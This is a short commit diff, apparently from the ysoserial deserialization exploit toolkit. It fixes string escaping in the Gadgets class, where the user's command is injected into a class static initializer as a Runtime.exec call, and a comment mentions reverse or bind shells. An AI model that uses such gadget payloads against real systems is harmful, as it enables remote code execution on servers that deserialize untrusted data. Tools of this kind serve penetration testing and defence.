Resolve escape error (#151)

Resolve escape error:
Caused by: compile error: ) is missing
This commit is contained in:
XinRoom
2021-08-17 15:46:32 -07:00
committed by GitHub
parent d367e379d9
commit 76ac2bb259
@@ -115,7 +115,7 @@ public class Gadgets {
// run command in static initializer // run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");"; "\");";
clazz.makeClassInitializer().insertAfter(cmd); clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)